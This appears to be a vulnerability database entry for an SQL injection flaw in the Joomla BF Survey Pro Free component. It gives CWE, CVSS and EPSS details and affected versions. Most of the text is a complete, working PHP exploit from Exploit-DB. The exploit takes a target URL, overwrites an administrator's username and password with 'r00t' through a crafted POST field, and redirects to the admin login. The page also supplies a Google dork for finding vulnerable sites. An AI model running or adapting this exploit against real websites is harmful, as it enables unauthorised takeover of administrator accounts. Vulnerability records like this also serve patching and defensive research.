Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-89 |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 9601
Publication date : 2009-09-08 22h00 +00:00
Author : jdc
EDB Verified : Yes
<?php
echo '<h2>Joomla Component BF Survey Pro Free SQL Injection Exploit</h2>';
echo '<h4>jdc 2009</h4>';
echo '<p>Google dork: inurl:com_bfsurvey_profree</p>';
ini_set( "memory_limit", "128M" );
ini_set( "max_execution_time", 0 );
set_time_limit( 0 );
if( !isset( $_GET['url'] ) ) die( 'Usage: '.$_SERVER['SCRIPT_NAME'].'?url=www.victim.com' );
$vulnerableFile = "http://".$_GET['url']."/index.php";
$url = $vulnerableFile;
$data = array();
$data['option'] = 'com_bfsurvey_profree';
$data['task'] = 'updateOnePage';
$data['table'] = "jos_users set username=CHAR(".sqlChar( 'r00t' )."), password=CHAR(".sqlChar( md5('r00t' ) )."), email=CHAR(".sqlChar( 'x' ).") where gid=25 limit 1 -- '";
$output = getData();
die( '<script>alert("Now log in as r00t/r00t!");location.href="http://'.$_GET['url'].'/administrator/index.php";</script>' );
function shutUp( $buffer ) { return false; }
function sqlChar( $str ) { return implode( ',', array_map( 'ord', str_split( $str ) ) ); }
function getData()
{
global $data, $url;
ob_start( "shutUp" );
$ch = curl_init();
curl_setopt( $ch, CURL_TIMEOUT, 120 );
curl_setopt( $ch, CURL_RETURNTRANSFER, 0 );
curl_setopt( $ch, CURLOPT_URL, $url );
if( count( $data ) > 0 )
{
curl_setopt( $ch, CURLOPT_POST, count( $data ) );
curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $data ) );
}
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );
$result = curl_exec( $ch );
curl_close( $ch );
$return = ob_get_contents();
ob_end_clean();
return $return;
}
?>
# milw0rm.com [2009-09-09]
Products Mentioned
Configuraton 0
Tamlyncreative>>Com_bfsurvey_profree >> Version To (including) 1.2.5
Tamlyncreative>>Com_bfsurvey_profree >> Version 1.2.4
Joomla>>Joomla\! >> Version *
References